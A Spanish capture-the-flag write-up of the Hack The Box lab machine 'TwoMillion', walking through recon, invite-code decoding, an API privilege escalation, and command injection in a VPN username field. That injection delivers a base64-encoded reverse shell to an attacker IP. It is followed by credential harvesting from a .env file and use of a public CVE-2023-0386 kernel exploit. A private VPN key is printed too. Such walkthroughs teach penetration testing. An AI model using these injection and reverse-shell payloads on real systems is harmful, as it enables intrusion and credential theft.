TwoMillion
TwoMillion Linux · Easy - Adventure mode
🔭 Reconocimiento:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(pmartinezr㉿kali)-[~]
└─$ nmap -p- -sSVC 10.129.229.66
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-15 13:29 CET
Nmap scan report for 10.129.229.66
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.64 seconds
view-source:http://2million.htb/js/inviteapi.min.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function (p, a, c, k, e, d) {
e = function (c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function (e) {
return d[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function verifyInviteCode(code){
var formData={"code":code};
$.ajax({
type:"POST",
dataType:"json",
data:formData,
url:"/api/v1/invite/verify",
success:function(response){console.log(response)},
error:function(response){console.log(response)}
})
}
function makeInviteCode(){
$.ajax({
type:"POST",
dataType:"json",
url:"/api/v1/invite/how/to/generate",
success:function(response){console.log(response)},
error:function(response){console.log(response)}
})
}
Haciendo un análisis con ChatGPT de lo que hace este código, obtengo información sobre dos APIs.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(pmartinezr㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 249 0 249 0 0 2723 0 --:--:-- --:--:-- --:--:-- 2736
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
Al visitar la segunda api, encontramos un mensaje cifrado con lo que parece rot_13
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(pmartinezr㉿kali)-[~]
└─$ python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import codecs
>>> codecs.decode("Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", "rot_13)
'In order to generate the invite code, make a POST request to /api/v1/invite/generate'
┌──(pmartinezr㉿kali)-[~]
└─$ curl -X POST http://2million.htb/api/v1/invite/generate | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 91 0 91 0 0 934 0 --:--:-- --:--:-- --:--:-- 938
{
"0": 200,
"success": 1,
"data": {
"code": "S0g5NUktTTlVMlMtWlNMSEEtVUhaMDc=",
"format": "encoded"
}
}
Ya había hecho algún reto parecido en PicoCTF así que fue sencillo, pero todavía parece que viene algo en base64.
1
2
3
┌──(pmartinezr㉿kali)-[~]
└─$ echo "S0g5NUktTTlVMlMtWlNMSEEtVUhaMDc=" | base64 -d
KH95I-M9U2S-ZSLHA-UHZ07
Esto ya se parece más a un código clave. Al estilo licencia.
Así que nos podemos registrar.
👽 Acciones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl http://2million.htb/api/v1 --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 800 0 800 0 0 8664 0 --:--:-- --:--:-- --:--:-- 8695
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Iniciamos la exploración de los métodos permitidos por toda la API, pero necesitamos hacer uso de la cookie, así que la incluimos en el comando curl copiándola del navegador.
1
2
3
4
5
6
7
8
9
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" -H "Content-Type: application/json" | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 0 56 0 0 605 0 --:--:-- --:--:-- --:--:-- 608
{
"status": "danger",
"message": "Missing parameter: email"
}
Ahora vamos explorando y probando contra la API. Nos va dando pistas
1
2
3
4
5
6
7
8
9
10
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" -H "Content-Type: application/json" -d '{"email":"pmartinezr@proton.me", "is_admin":'1'}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 92 0 46 100 46 472 472 --:--:-- --:--:-- --:--:-- 938
{
"id": 13,
"username": "pmartinezr",
"is_admin": 1
}
Al cabo de un rato descubres como “engañar” a la API, modificando los parámetros, solo es cuestión de ir probando.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" -H "Content-Type: application/json" -d '{"username":"pmartinezr"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
MIIGADCCA+igAwIBAgIUQxzHkNyCAfHzUuoJgKZwCwVNjgIwDQYJKoZIhvcNAQEL
BQAwgYgxCzAJBgNVBAYTAlVLMQ8wDQYDVQQIDAZMb25kb24xDzANBgNVBAcMBkxv
bmRvbjETMBEGA1UECgwKSGFja1RoZUJveDEMMAoGA1UECwwDVlBOMREwDwYDVQQD
DAgybWlsbGlvbjEhMB8GCSqGSIb3DQEJARYSaW5mb0BoYWNrdGhlYm94LmV1MB4X
DTIzMDUyNjE1MDIzM1oXDTIzMDYyNTE1MDIzM1owgYgxCzAJBgNVBAYTAlVLMQ8w
DQYDVQQIDAZMb25kb24xDzANBgNVBAcMBkxvbmRvbjETMBEGA1UECgwKSGFja1Ro
ZUJveDEMMAoGA1UECwwDVlBOMREwDwYDVQQDDAgybWlsbGlvbjEhMB8GCSqGSIb3
DQEJARYSaW5mb0BoYWNrdGhlYm94LmV1MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAubFCgYwD7v+eog2KetlST8UGSjt45tKzn9HmQRJeuPYwuuGvDwKS
JknVtkjFRz8RyXcXZrT4TBGOj5MXefnrFyamLU3hJJySY/zHk5LASoP0Q0cWUX5F
GFjD/RnehHXTcRMESu0M8N5R6GXWFMSl/OiaNAvuyjezO34nABXQYsqDZNC/Kx10
XJ4SQREtYcorAxVvC039vOBNBSzAquQopBaCy9X/eH9QUcfPqE8wyjvOvyrRH0Mi
BXJtZxP35WcsW3gmdsYhvqILPBVfaEZSp0Jl97YN0ea8EExyRa9jdsQ7om3HY7w1
Q5q3HdyEM5YWBDUh+h6JqNJsMoVwtYfPRdC5+Z/uojC6OIOkd2IZVwzdZyEYJce2
MIT+8ennvtmJgZBAxIN6NCF/Cquq0ql4aLmo7iST7i8ae8i3u0OyEH5cvGqd54J0
n+fMPhorjReeD9hrxX4OeIcmQmRBOb4A6LNfY6insXYS101bKzxJrJKoCJBkJdaq
iHLs5GC+Z0IV7A5bEzPair67MiDjRP3EK6HkyF5FDdtjda5OswoJHIi+s9wubJG7
qtZvj+D+B76LxNTLUGkY8LtSGNKElkf9fiwNLGVG0rydN9ibIKFOQuc7s7F8Winw
Sv0EOvh/xkisUhn1dknwt3SPvegc0Iz10//O78MbOS4cFVqRdj2w2jMCAwEAAaNg
MF4wHQYDVR0OBBYEFHpi3R22/krI4/if+qz0FQyWui6RMB8GA1UdIwQYMBaAFHpi
3R22/krI4/if+qz0FQyWui6RMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgH+
MA0GCSqGSIb3DQEBCwUAA4ICAQBv+4UixrSkYDMLX3m3Lh1/d1dLpZVDaFuDZTTN
0tvswhaatTL/SucxoFHpzbz3YrzwHXLABssWko17RgNCk5T0i+5iXKPRG5uUdpbl
8RzpZKEm5n7kIgC5amStEoFxlC/utqxEFGI/sTx+WrC+OQZ0D9yRkXNGr58vNKwh
SFd13dJDWVrzrkxXocgg9uWTiVNpd2MLzcrHK93/xIDZ1hrDzHsf9+dsx1PY3UEh
KkDscM5UUOnGh5ufyAjaRLAVd0/f8ybDU2/GNjTQKY3wunGnBGXgNFT7Dmkk9dWZ
lm3B3sMoI0jE/24Qiq+GJCK2P1T9GKqLQ3U5WJSSLbh2Sn+6eFVC5wSpHAlp0lZH
HuO4wH3SvDOKGbUgxTZO4EVcvn7ZSq1VfEDAA70MaQhZzUpe3b5WNuuzw1b+YEsK
rNfMLQEdGtugMP/mTyAhP/McpdmULIGIxkckfppiVCH+NZbBnLwf/5r8u/3PM2/v
rNcbDhP3bj7T3htiMLJC1vYpzyLIZIMe5gaiBj38SXklNhbvFqonnoRn+Y6nYGqr
vLMlFhVCUmrTO/zgqUOp4HTPvnRYVcqtKw3ljZyxJwjyslsHLOgJwGxooiTKwVwF
pjSzFm5eIlO2rgBUD2YvJJYyKla2n9O/3vvvSAN6n8SNtCgwFRYBM8FJsH8Jap2s
2iX/ag==
-----END CERTIFICATE-----
</ca>
<cert>
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 3 (0x3)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=UK, ST=London, L=London, O=HackTheBox, OU=VPN, CN=2million/emailAddress=info@hackthebox.eu
Validity
Not Before: Jan 15 16:35:59 2026 GMT
Not After : Jan 15 16:35:59 2027 GMT
Subject: C=GB, ST=London, L=London, O=pmartinezr, CN=pmartinezr
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:af:08:7d:3e:4d:86:39:85:76:b8:52:6b:b8:6f:
7b:cc:17:9e:2d:a4:4f:8a:27:4d:df:a0:af:42:ef:
b3:0c:a1:0d:b7:44:51:e6:38:5c:73:cf:43:ef:ec:
05:25:6f:63:d9:66:2a:61:d7:b5:a2:14:8a:39:89:
5b:75:6f:ce:e6:4d:09:1d:44:9a:01:22:9a:36:47:
86:3b:02:c8:56:c0:15:f8:4a:79:0c:5b:fc:c9:c9:
b3:ad:8c:78:d9:4d:b1:25:e7:1a:70:87:c1:37:7c:
2b:b2:3c:48:97:97:e2:3b:c1:f8:10:8d:09:84:c4:
bb:93:8d:94:e7:0d:d8:d8:44:b0:a6:69:67:a0:1b:
14:75:f8:4e:a1:ac:6c:97:f5:aa:f3:7e:3a:76:11:
36:3d:0e:27:83:1d:5a:2a:2f:72:91:97:0f:73:22:
b4:61:37:0d:dd:75:27:73:4e:af:d9:2e:1c:05:c5:
3b:ad:32:f6:fe:ea:10:a7:7f:51:9d:34:e7:36:75:
aa:30:8d:a6:80:33:e2:82:d5:fb:8b:82:54:9d:ad:
30:6c:a6:13:50:2a:cf:cb:7b:86:a2:90:50:65:35:
1c:2f:8b:18:61:ee:88:b3:08:7d:43:2e:95:29:3d:
7a:ee:9d:c3:bb:16:3a:3f:f7:4c:f2:f1:62:9f:98:
9e:77
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
E2:D4:E9:51:B9:C0:16:B7:AB:01:26:8E:36:14:A8:C4:64:4C:06:31
X509v3 Authority Key Identifier:
7A:62:DD:1D:B6:FE:4A:C8:E3:F8:9F:FA:AC:F4:15:0C:96:BA:2E:91
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment, Key Agreement, Certificate Sign, CRL Sign
Netscape Comment:
OpenSSL Generated Certificate
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
b3:a5:52:95:3b:69:87:94:d4:49:1d:5e:ec:25:c1:da:ac:90:
d1:e1:29:8a:0f:ac:59:4d:16:e0:f7:8b:66:14:84:56:52:27:
d8:08:14:0e:6c:73:90:40:30:3f:83:9e:16:51:87:e5:ff:bd:
f6:d7:f5:6f:52:17:66:54:56:18:73:b9:3c:0e:da:cc:19:aa:
32:78:63:e8:bf:72:8f:1a:31:75:af:1a:6b:aa:39:65:2d:ce:
03:14:ef:06:1e:59:cc:ab:fc:d7:38:21:06:8c:f8:f9:a9:27:
4a:3a:eb:a9:41:16:73:e7:e9:d2:cb:20:36:e4:95:32:d0:5b:
e4:e6:fd:5f:3f:fd:f4:0c:5c:fa:39:c4:e7:c9:26:5c:a7:bb:
57:ca:ca:02:03:8c:da:23:c0:90:44:9a:b4:dd:a9:a1:d9:ff:
ea:21:1d:84:97:e4:7b:ba:32:30:0a:d7:17:c4:e8:e1:7a:fe:
c4:36:11:6e:71:ce:72:1d:be:39:3e:3b:75:3c:9f:eb:94:d1:
93:ee:d8:80:2b:d1:c0:49:73:78:68:68:55:79:b5:b3:61:20:
d7:f5:ff:85:bf:c5:07:07:08:94:f3:c7:25:7d:7b:7a:17:c2:
eb:37:5e:05:56:ce:b2:52:e8:52:b1:e8:8c:ef:73:31:50:1a:
4f:e7:60:fd:bb:92:f0:50:0a:64:1a:8c:78:59:57:10:94:3e:
c0:f7:12:44:f7:8b:97:64:76:9f:09:29:3b:63:2d:8a:ea:5a:
84:e5:09:ef:56:ad:e2:c4:a3:b4:9e:bb:98:d1:3e:a5:39:13:
ed:ed:39:b2:4f:5b:73:43:8d:00:32:a0:01:30:dc:27:04:97:
28:8f:3d:a8:b1:4e:f0:b9:4e:0a:6e:9f:a8:37:6d:69:95:42:
0d:07:8c:25:65:c6:bc:d0:d4:f3:c2:5b:8c:87:4b:18:23:6e:
fa:fd:01:dd:e4:cb:87:a9:31:58:80:7a:b2:ba:9a:27:c2:ee:
dd:ce:60:33:75:92:75:8b:e3:cd:27:24:ef:14:0c:da:87:b5:
78:c6:b0:6b:3b:f8:79:d3:1d:16:8f:ce:a2:53:c5:1b:37:d4:
cb:0d:a3:e1:ab:04:ac:06:3f:3d:eb:ad:a6:5c:d6:97:69:bc:
01:c3:6d:7b:32:24:5d:b2:bf:60:a5:f9:fd:f5:22:22:2c:34:
6f:76:0f:0e:62:4b:64:8c:3b:ed:b7:50:ed:6d:4c:94:4f:20:
65:3e:5f:fc:1b:d5:dd:8d:7e:83:74:40:a2:54:ac:55:7b:56:
c2:87:4a:1a:44:13:93:d7:2f:80:42:cc:30:1b:30:fc:d5:35:
37:54:a7:c8:12:8a:98:a2
-----BEGIN CERTIFICATE-----
MIIE5zCCAs+gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVUsx
DzANBgNVBAgMBkxvbmRvbjEPMA0GA1UEBwwGTG9uZG9uMRMwEQYDVQQKDApIYWNr
VGhlQm94MQwwCgYDVQQLDANWUE4xETAPBgNVBAMMCDJtaWxsaW9uMSEwHwYJKoZI
hvcNAQkBFhJpbmZvQGhhY2t0aGVib3guZXUwHhcNMjYwMTE1MTYzNTU5WhcNMjcw
MTE1MTYzNTU5WjBZMQswCQYDVQQGEwJHQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYD
VQQHDAZMb25kb24xEzARBgNVBAoMCnBtYXJ0aW5lenIxEzARBgNVBAMMCnBtYXJ0
aW5lenIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvCH0+TYY5hXa4
Umu4b3vMF54tpE+KJ03foK9C77MMoQ23RFHmOFxzz0Pv7AUlb2PZZiph17WiFIo5
iVt1b87mTQkdRJoBIpo2R4Y7AshWwBX4SnkMW/zJybOtjHjZTbEl5xpwh8E3fCuy
PEiXl+I7wfgQjQmExLuTjZTnDdjYRLCmaWegGxR1+E6hrGyX9arzfjp2ETY9DieD
HVoqL3KRlw9zIrRhNw3ddSdzTq/ZLhwFxTutMvb+6hCnf1GdNOc2daowjaaAM+KC
1fuLglSdrTBsphNQKs/Le4aikFBlNRwvixhh7oizCH1DLpUpPXruncO7Fjo/90zy
8WKfmJ53AgMBAAGjgYkwgYYwHQYDVR0OBBYEFOLU6VG5wBa3qwEmjjYUqMRkTAYx
MB8GA1UdIwQYMBaAFHpi3R22/krI4/if+qz0FQyWui6RMAkGA1UdEwQCMAAwCwYD
VR0PBAQDAgH+MCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0
aWZpY2F0ZTANBgkqhkiG9w0BAQsFAAOCAgEAs6VSlTtph5TUSR1e7CXB2qyQ0eEp
ig+sWU0W4PeLZhSEVlIn2AgUDmxzkEAwP4OeFlGH5f+99tf1b1IXZlRWGHO5PA7a
zBmqMnhj6L9yjxoxda8aa6o5ZS3OAxTvBh5ZzKv81zghBoz4+aknSjrrqUEWc+fp
0ssgNuSVMtBb5Ob9Xz/99Axc+jnE58kmXKe7V8rKAgOM2iPAkESatN2podn/6iEd
hJfke7oyMArXF8To4Xr+xDYRbnHOch2+OT47dTyf65TRk+7YgCvRwElzeGhoVXm1
s2Eg1/X/hb/FBwcIlPPHJX17ehfC6zdeBVbOslLoUrHojO9zMVAaT+dg/buS8FAK
ZBqMeFlXEJQ+wPcSRPeLl2R2nwkpO2MtiupahOUJ71at4sSjtJ67mNE+pTkT7e05
sk9bc0ONADKgATDcJwSXKI89qLFO8LlOCm6fqDdtaZVCDQeMJWXGvNDU88JbjIdL
GCNu+v0B3eTLh6kxWIB6srqaJ8Lu3c5gM3WSdYvjzSck7xQM2oe1eMawazv4edMd
Fo/OolPFGzfUyw2j4asErAY/PeutplzWl2m8AcNtezIkXbK/YKX5/fUiIiw0b3YP
DmJLZIw77bdQ7W1MlE8gZT5f/BvV3Y1+g3RAolSsVXtWwodKGkQTk9cvgELMMBsw
/NU1N1SnyBKKmKI=
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvCH0+TYY5hXa4
Umu4b3vMF54tpE+KJ03foK9C77MMoQ23RFHmOFxzz0Pv7AUlb2PZZiph17WiFIo5
iVt1b87mTQkdRJoBIpo2R4Y7AshWwBX4SnkMW/zJybOtjHjZTbEl5xpwh8E3fCuy
PEiXl+I7wfgQjQmExLuTjZTnDdjYRLCmaWegGxR1+E6hrGyX9arzfjp2ETY9DieD
HVoqL3KRlw9zIrRhNw3ddSdzTq/ZLhwFxTutMvb+6hCnf1GdNOc2daowjaaAM+KC
1fuLglSdrTBsphNQKs/Le4aikFBlNRwvixhh7oizCH1DLpUpPXruncO7Fjo/90zy
8WKfmJ53AgMBAAECggEARpiU80kPZynmfWd43RXSB7pK6TvJfP5nUVgc+FF3lRNs
VcuvgLygxXEGhMFcPgIUcr3bQEVhk/LW4Wf+RHqJJ6hQkcZ2mxiavGPSxwBTT3IA
KnnXIt4DMlwxJUFwCK1mUtRIfLS0gK2LbkMUQFhZPiL466wG987lnRjQwvR5zpgR
Mxq+To7j7W1dMi+Td+1QQJNdJvT+54G3USX2Du9T46W9yzgkX7bZDQeNT7mOZf2v
EPEHqrkBsqHt/Ok1XapJoS4AEJE90x7N/0IAY9aa5hFu15Y+EqC2EjGRdL1A9/8x
0YIG+XEU/o4U4yjznOzMHZNqLzsBvtly58U12lnJMQKBgQD2UkzjqvS6DB14UOoi
AQntJ2XemtyNbnYGku7yko7aQVRQ+YhzegzDTnwBhXSLe/hCNZ1uiR0kAy5VxX4k
DZ820im7B64gG0kehfPBkBDPlQwbOMgqGTRV2pxfYU0EdLmk7AWYV51V10Xd/uBs
nHTCG3wx+s0NTcILy2lREBssXwKBgQC16R0SvReH15TeIDX/8YPjjMd7r/Oge5u7
ryx8LHNtLWiRn/IPeQvQtGi5Y16ZyaubyQHSMugAQP5OtFasWzjWXw0OxnZX86f6
RViKSmd4JXU2FSBSymhBzHXJERBqShDRZNu4Rphg0Q7HlSMBPYJtyGUpjhtRZr59
zIWQWWxE6QKBgHeUrM86B2TqzMPERGYNqwv+vG29MKVYouO+IVKR49gBLzXAboXh
EqEeUQVMDLBKltNNxAgNeKArCyuInRxToJ+0l528tMPRe0XeMeAeWIruCNqOTl5h
rg6f+pozWnh3UkjGbFDw9+jcgYasXbdcnTI+taRt5W43+aRQM+iusQJxAoGANMnD
AA8TZv4uWw8p3G3vgfb2ZHQ41JdKJ/q7hAU6MbJ9p9SsX8UWoqfXxASMDUCypfB8
sMzI+lnh8mDuzfFi2wKWPXVmHju8wSmiee8Be6ITE3CqApxuCLoWbBShmNaJbto/
0Ifb7Cx+h3hFwjRhRw5iHN76GnMgUE0rbSol+xECgYEA0GBl+l6of+nHzuZZdKab
4iREAaPv44t4it3iqVZFUe+XalGhsBp0cNEUCx1aJTgxK7XpQzzxWsZGWip19WY4
eR3hOwOY5v8sCvR7sOZHpFx01OI62Nv2ghiNbpcEI2cKsHfKk1F0sFHFtPzFOLMg
Vucbj9fl7l79Wer8itucvjY=
-----END PRIVATE KEY-----
</key>
<tls-auth>
#
# 2048 bit OpenVPN static key
#
-----BEGIN OpenVPN Static key V1-----
45df64cdd950c711636abdb1f78c058c
358730b4f3bcb119b03e43c46a856444
05e96eaed55755e3eef41cd21538d041
079c0fc8312517d851195139eceb458b
f8ff28ba7d46ef9ce65f13e0e259e5e3
068a47535cd80980483a64d16b7d10ca
574bb34c7ad1490ca61d1f45e5987e26
7952930b85327879cc0333bb96999abe
2d30e4b592890149836d0f1eacd2cb8c
a67776f332ec962bc22051deb9a94a78
2b51bafe2da61c3dc68bbdd39fa35633
e511535e57174665a2495df74f186a83
479944660ba924c91dd9b00f61bc09f5
2fe7039aa114309111580bc5c910b4ac
c9efb55a3f0853e4b6244e3939972ff6
bfd36c19a809981c06a91882b6800549
-----END OpenVPN Static key V1-----
</tls-auth>
Realmente para completar el reto no es necesario hacer uso de este fichero de VPN.http://2million.htb/api/v1/user/vpn/regenerate
1
2
3
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" -H "Content-Type: application/json" -d '{"username":"pmartinezr;echo whoami"}'
whoami.ovpn
¿Que ocurre cuando se interroga la api? Pues parece que llama al comando openvpn, pero si no está sanitizada la entrada podemos jugar con “haber que pasa si lanzo un comando distinto”.
1
2
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=7r9hifh0kggar3em1b3ekgct5g" -H "Content-Type: application/json" -d '{"username":"pmartinezr;echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEwLzQ0NDQgMD4mMQo= | base64 -d | bash;"}'
Ahora siguiendo lo que parece un RCE sh -i >& /dev/tcp/10.10.14.110/4444 0>&1, la API seguro que espera un comando con parámetros y no un batiburrillo de ellos. Tenemos que hacerlo como si fuera una web, por eso utilizo base64.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.129.229.66] 55594
sh: 0: can't access tty; job control turned off
$ whoami
www-data
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
admin@2million:~$ cat user.txt
e5e68058a2b90e70ab99d8a514b17541
admin@2million:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"
Tenemos una conexión inicial y descubrimos la password de un usuario en el fichero .env
CVE-2023-0386
💣 Preparación:
https://github.com/xkaneiki/CVE-2023-0386
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(pmartinezr㉿kali)-[~/htb/twomillion]
└─$ scp -r CVE-2023-0386 admin@2million.htb:
admin@2million.htb's password:
Permission denied, please try again.
admin@2million.htb's password:
fuse.c 100% 5616 119.9KB/s 00:00
exclude 100% 240 5.4KB/s 00:00
HEAD 100% 21 0.5KB/s 00:00
config 100% 262 6.0KB/s 00:00
packed-refs 100% 112 1.2KB/s 00:00
pre-push.sample 100% 1374 31.6KB/s 00:00
pre-applypatch.sample 100% 424 9.6KB/s 00:00
applypatch-msg.sample 100% 478 10.8KB/s 00:00
sendemail-validate.sample 100% 2308 51.0KB/s 00:00
commit-msg.sample 100% 896 20.4KB/s 00:00
fsmonitor-watchman.sample 100% 4726 102.8KB/s 00:00
post-update.sample 100% 189 4.3KB/s 00:00
pre-rebase.sample 100% 4898 106.0KB/s 00:00
pre-commit.sample 100% 1649 0.4KB/s 00:04
push-to-checkout.sample 100% 2783 62.2KB/s 00:00
pre-merge-commit.sample 100% 416 9.3KB/s 00:00
update.sample 100% 3650 77.6KB/s 00:00
prepare-commit-msg.sample 100% 1492 30.2KB/s 00:00
pre-receive.sample 100% 544 12.5KB/s 00:00
pack-fdcfb3c1c347e6514a19736a09517b8100eb5c49.pack 100% 426KB 317.5KB/s 00:01
pack-fdcfb3c1c347e6514a19736a09517b8100eb5c49.rev 100% 148 3.4KB/s 00:00
pack-fdcfb3c1c347e6514a19736a09517b8100eb5c49.idx 100% 1744 39.6KB/s 00:00
description 100% 73 1.7KB/s 00:00
main 100% 41 0.9KB/s 00:00
HEAD 100% 30 0.7KB/s 00:00
index 100% 805 18.1KB/s 00:00
HEAD 100% 195 4.1KB/s 00:00
main 100% 195 4.4KB/s 00:00
HEAD 100% 195 4.4KB/s 00:00
README.md 100% 222 5.0KB/s 00:00
Makefile 100% 150 3.4KB/s 00:00
exp.c 100% 3093 69.2KB/s 00:00
getshell.c 100% 549 12.5KB/s 00:00
.gitkeep 100% 0 0.0KB/s 00:00
mnt 100% 16KB 313.4KB/s 00:00
mnt.c 100% 1565 35.6KB/s 00:00
fuse_test.c
Subimos el contenido del directorio que acabamos de clonar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
admin@2million:~/CVE-2023-0386$ [+] len of gc: 0x3ee0
./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 Jan 15 19:38 .
